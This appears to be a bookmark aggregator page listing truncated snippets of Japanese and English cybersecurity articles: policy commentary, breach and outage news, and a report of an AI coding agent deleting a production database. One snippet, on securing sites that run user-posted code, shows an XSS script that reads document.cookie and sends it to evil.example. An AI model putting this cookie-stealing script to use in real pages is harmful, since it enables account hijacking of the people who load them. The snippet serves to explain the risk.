日本のサイバーセキュリティは20年遅れ？ 「攻撃前に潰す」が常識の今、各国のサイバー戦略とは【西尾素己】 - エンジニアtype | 転職type
転職・求人情報サイトのtype エンジニアtype ITニュース 日本のサイバーセキュリティは20年遅れ？ 「攻撃前に潰す」が常識の今、各国のサイバー戦略とは【西尾素己】 NEW! 2025.08.06 ITニュース セキュリティーグローバルイベント 「陸・海・空、そして宇宙。それに続く第5の戦場として“サイバー”が機能し始めています」 そう語るのは多摩大学大学院 特任教授であり、英国系コンサルティングファームでパートナーを務める西尾素己さん。近年ではロシア・ウクライナ有事におけるサイバー戦の分析を技術官として担当するなどの活躍を見せるホワイトハッカーでもある。 サイバーセキュリティの最前線で活動してきた西尾さんは、日本のセキュリティの現状をどう見ているのか。そして世界各国はどのような戦略でサイバーセキュリティというテーマに取り組んでいるのか。 2025年6月14日に開催されたITエンジニ
「金融分野におけるITレジリエンスに関する分析レポート」の公表について
令和７年６月30日 金融庁 「金融分野におけるITレジリエンスに関する分析レポート」の公表について 金融庁では、2019年以降、金融機関において発生したシステム障害（サイバーインシデントを含む）に関して分析した「金融機関のシステム障害に関する分析レポート」を公表してきました。 昨今の地政学リスク、サイバーリスク等の高まりを背景に、政府としてサイバーセキュリティに関する取組みを一層強化する中、金融業界に対して一層のサイバーセキュリティ、オペレーショナル・レジリエンスの強化が求められていることを踏まえ、2024年度においては、「金融分野におけるITレジリエンスに関する分析レポート」として再構成することとしました。 今般、2024年度（2024年４月～2025年３月）における金融庁の取組みや分析等についてまとめましたので、公表します。 「金融分野におけるITレジリエンスに関する分析レポート」（P
Automate security reviews with Claude Code
Today we're introducing automated security reviews in Claude Code. Using our GitHub Actions integration and a new /security-review command, developers can easily ask Claude to identify security concerns—and then have it fix them. As developers increasingly rely on AI to ship faster and build more complex systems, ensuring code security becomes even more critical. These new features let you integra
TSMC 2nmプロセス技術情報が漏洩、日本の東京エレクトロンも捜査対象に | XenoSpectrum
半導体業界の巨人を揺るがす衝撃の事件が、白日の下に晒された。世界最大の半導体ファウンドリ、台湾積体電路製造（TSMC）は2025年8月5日、今年末の量産開始を目前に控える最先端プロセス「2nm」に関する企業秘密が、社内調査によって漏洩した可能性があることを公式に認めた。捜査のメスは日本の大手半導体製造装置メーカー、東京エレクトロンにも及び、台湾当局は「国家安全法」を視野に捜査を進めている。これは、テクノロジー覇権を巡る国家間の熾烈な競争が、水面下でいかに激しく繰り広げられているかを物語る、象徴的な事件と言えるだろう。 発覚：日常の監視が捉えた「要塞」の綻び 事件の第一報は、Nikkei Asiaによって報じられ、TSMCが即座に事実を認める声明を発表したことで確定的となった。 TSMCの声明によれば、今回のインシデントは「常規の監視状況下で検知された違法行為」が発端であったという。世界最高
個人情報保護のエキスパートを育てる 個人情報保護士認定試験│全日本情報学習振興協会
※どなたでも応募できます。ただし、キャンペーン期間中、お一人様１回の応募に限らせていただきます。応募フォームに所定事項を記入してお申込み下さい。 ※抽選方法：お申し込み手続きが終了した時点で当選内容が発表されます。 ※試験割引券及びSMART合格講座が当選した場合は、その場で、試験の割引申込・SMART合格講座申し込みをすることができます。または、後日お送りした当選メールから申込をすることもできます。 ※APPLE WATCHやお米、ビール、Amazonギフト券、一問一答合格マスターは当選翌月の中旬ごろに発送します。 ※プレゼントは、スタート～12月応募の5カ月で5,000人となります。月ごとに約1,000名程度の方に当たるように設定されています。
情報戦、日本は無防備 斎藤孝道・明大教授：時事ドットコム
情報戦、日本は無防備 斎藤孝道・明大教授 時事通信 政治部2025年08月03日07時18分配信 斎藤孝道 明治大教授（本人提供） ロシアや中国は自国の利益のために偽情報を拡散する「影響工作」を行っているとされ、日本でも７月の参院選で外国勢力からのＳＮＳを通じた世論介入が指摘された。介入の意図や背景、対策の必要性について、明治大サイバーセキュリティー研究所の斎藤孝道教授に聞いた。 選挙介入、監視・規制を強化 政府、偽情報対策で法整備も ―外国からの選挙介入をどう把握するか。 ＳＮＳやメディアを駆使する情報戦は痕跡を残さないため、明確な証拠がない。ポイントはナラティブ（物語）だ。例えばロシアの場合、西側諸国にウクライナ支援をさせないという政治目的があるため、日本の世論に対して支援への懐疑論を投げ掛ける。そうしたナラティブを複数作り、メディアやＳＮＳを活用して展開することで、認知誘導を図ってい
America’s AI Action Plan
WinningtheRace AMERICA’S AIACTIONPLAN JULY2025 T H E W H I T E H O U S E AMERICA’S AI ACTION PLAN i “Today, a new frontier of scientific discovery lies before us, defined by transformative technologies such as artificial intelligence… Breakthroughs in these fields have the potential to reshape the global balance of power, spark entirely new industries,andrevolutionizethewayweliveandwork.Asour glob
脆弱性診断内製化ガイド | デジタル人材の育成 | IPA 独立行政法人 情報処理推進機構
背景 近年、企業システムに対するサイバー攻撃は多様化・高度化しており、企業は日々新たな脅威への対応を迫られています。さらに、脆弱性の発見件数も年々増加傾向にあり、システムのリリース前後を問わず、潜在的な脆弱性をいかに早期に発見し適切に対策を講じるかが、事業継続や信頼性維持の観点からますます重要になっています。 一方で、脆弱性診断については多くの企業が外部ベンダーへ発注するケースが一般的ですが、脆弱性の増加やリリースサイクルの高速化により対応しきれないケースが増えつつあり、内製化への関心も高まっています。 こうした背景を踏まえ、当プロジェクトでは「脆弱性診断内製化ガイド」を作成しました。ガイドの作成にあたり、まず複数のツールを用いた技術検証で脆弱性診断の概要や概念、自動・手動診断の違いを整理し、それぞれの特性や有効性を明らかにしました。そのうえで、文献調査やアンケート、有識者・内製企業へのヒ
Twilog、1年分の投稿ログ消失 DB復旧作業中にミス 「スタッフ一同、かなり意気消沈」
X（旧Twitter）関連サービスを運営するトゥギャッターは7月31日、Xのポストをブログ形式で保存するサービス「Twilog」（ツイログ）について、約1年分の投稿ログが消失したと発表した。原因はデータベースの復旧作業中に発生したオペレーションミス。最新のバックアップで復旧しても、1年近く前にデータが巻き戻る見込みという。 30日午後4時ごろから同社サービスにアクセスできない障害が起こり、詳細を調べたところ、Twilogのログ保存用データベースが原因と判明。復旧に当たったが、そこでミスがあった。ただし、ユーザー情報や課金データなどは別のデータベースに最新のものを保存しており無事という。データの漏えいなども発生していないとしている。 同社は今後、（1）ログデータが消失している状態でも、ユーザーが自身のページなどを見られるよう仕様を修正、（2）バックアップデータからの復旧、（3）最新のX投稿を
「バイブコーディング」が招いた暴走--「Replit」による命令無視と本番DB消去という惨劇
人工知能（AI）分野のリーダーであるAndrej Karpathy氏は、AIチャットボットにプログラミングを任せる「バイブコーディング」という言葉を考案したとき、こう付け加えた。「週末の気軽なプロジェクトには悪くないだろうが、本当のコーディングではない。何かを見て、言って、実行して、コピー＆ペーストするだけで、それなりに動くものができるからだ」 同氏のコメントには多くの警告が含まれていたが、それでもバイブコーディングは実際の業務に使われている。 Software as a Service（SaaS）ビジネスコミュニティー「SaaStr」の信頼できるアドバイザーであるJason Lemkin氏は先ごろ、考えられる限り最悪の形で、バイブコーディングに痛手を負わされた。バイブプログラム「Replit」が、「コードフリーズとシャットダウンの最中に暴走し、データベース全体を削除した」という。 驚きの
診療情報等の個人データの保存を外国の事業者に委託することはできますか。 ｜個人情報保護委員会
診療情報の外部保存を行う場合には、厚生労働省において策定している「医療情報システムの安全管理に関するガイドライン」によることとされています。 当該ガイドラインにおいては、外部の事業者との契約に基づいて医療情報を外部保存する場合、「保存された情報を格納する情報機器等が、国内法の適用を受けることを確認すること」を求めています。また、当該事業者においては、総務省・経済産業省が定めた「医療情報を取り扱う情報システム・サービスの提供事業者における安全管理ガイドライン」を遵守する必要があります。
ユーザー投稿のコードをブラウザ上で他人が動かせるサービスを作るときのセキュリティについて
問題1: 他ユーザーの認証情報にアクセスできてしまう 投稿されたコードを普通にサイト内に埋め込むとXSSがやり放題な状態になります。 認証CookieのHttpOnlyが無効になっている場合 ユーザーがたくさん集まる超面白いゲームを作り、その中に以下のようなコードをしれっと含めると、そのゲームを開いたユーザーのアカウントの乗っ取りが可能になります。 <script> // 1. Cookieを取得 const stolen = document.cookie; // 2. 攻撃者のサーバーに送信 const img = new Image(); img.src = "https://evil.example/steal?cookie=" + encodeURIComponent(stolen); </script> CookieのHttpOnly属性が無効になっていると、スクリプトからCo
1Password と遺言保管制度を用いたデジタル終活 | blog.jxck.io
Intro 筆者のように、インターネット上での生活が長く、かつエンジニアとして生きてきた人間には、一般の人には伝わりにくいデジタルの遺品が多く存在する。 仮に自分が死んだ場合に、これらをどのように遺族に処分してもらうかは、なかなか難しい問題だ。筆者はこの「デジタル終活」をどうするかを、長いこと模索してきた。 今回は、「1Password」と法務局が行う「自筆証書遺言保管制度」を用いた方法を思いついたため、検証を試みる。 注意 筆者はエンジニアであり、法律の専門家ではない。 本方式は、法的に有効な遺言の作成については範囲外である。 本方式の目的は、「遺族の負担を減らす」ことである。 ここで「デジタル 遺品」とは以下のようなものを指す。 自分が使ってきたメールアドレスや SNS のアカウント 取得しているドメイン 登録しているサブスク 管理しているコミュニティや OSS etc. 以下のような
夜ぐっすり眠るための監視分類 - NRIネットコムBlog
本記事は AWSアワード受賞者祭り 6日目の記事です。 ✨🏆 5日目 ▶▶ 本記事 ▶▶ 7日目 🏆✨ こんにちは、玉邑です。 年齢を重ねるにつれて、睡眠時間が翌日のパフォーマンスに大きく影響することを実感するようになりました。よく眠ることの大切さを、改めてしみじみと感じています。今回は、そんな貴重な睡眠時間をしっかり確保するための工夫についてお話しします。 ITシステムの運用に携わっている方であれば、夜間や休日のオンコール*1対応を経験されたことがあるのではないでしょうか。 私自身も、15年以上前にシステム運用を担当していた頃は、連日鳴り止まないオペレーターからの電話に疲弊していました。 当時はシングル構成のサーバーが多く、可用性を高める仕組みの成熟度もまだ低かったように思います。 現在のIT技術では、可用性を高めるための仕組みが非常に洗練されています。 たとえば、AWSのマルチAZ
ワンタイムパスワードは原則禁止へ、日本証券業協会が証券口座乗っ取り対策の新指針
日本証券業協会（日証協）は2025年7月15日、「インターネット取引における不正アクセス等防止に向けたガイドライン」の改正案を公表した。相次ぐ証券口座乗っ取り被害を受け、「フィッシングに耐性のある多要素認証」を必須とする項目などを新たに盛り込んだ。 現状、多くの証券会社が採用する一般的なワンタイムパスワードを組み合わせる多要素認証は、攻撃者がID、パスワードと同時にワンタイムパスワードも窃取して認証を突破する「リアルタイムフィッシング」という手口で破られるリスクがある。そのため、今回の案がそのまま成立すれば原則的に対策として認められなくなり、より強固な仕組みの導入が求められる。 同日には金融庁も「金融商品取引業者等向けの総合的な監督指針」の一部改正案を公表した。日証協と同じく、証券口座への不正アクセス被害を受けての動きだ。指針の改正案は日証協のガイドラインを踏まえた適切なセキュリティー対策
インシデントレスポンスを自動化で支援する - Slack Bot で人機一体なセキュリティ対策を実現する
インシデントレスポンスを自動化で支援する - Slack Bot で人機一体なセキュリティ対策を実現する 「障害対応で同僚とのコミュニケーションがごちゃごちゃして混乱することがる」 「緊急対応のフローやマニュアルが、あるがうまく活用されていない」 こんな心当たりはありませんか? GMOペパボではクラウドネイティブ化の取り組むをすすめる側、インシデント対応の自動化にも取り組んでいます。障害やセキュリティインシデント対応の初動で sssbot (内製の Slack Bot ) を呼び出し、インシデントの進行から解決、postmortem 実施までを自動でします。緊急時のコミュニケーションを支援する Slack Bot の設計・実装、インシデントレスポンスのベストプラクティス、DevSecOps を回す組織文化について ペパボの事例を紹介します。 Hiroya Ito
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
https://services.google.com/fh/files/misc/cloud_threat_horizons_report_h22025.pdf
When Developer Aid Becomes Security Debt: A Systematic Analysis of Insecure Behaviors in LLM Coding Agents
Jamf Account. Updates for Apple Admins
https://privacy.medis.or.jp/shiken/miscaes_system.html
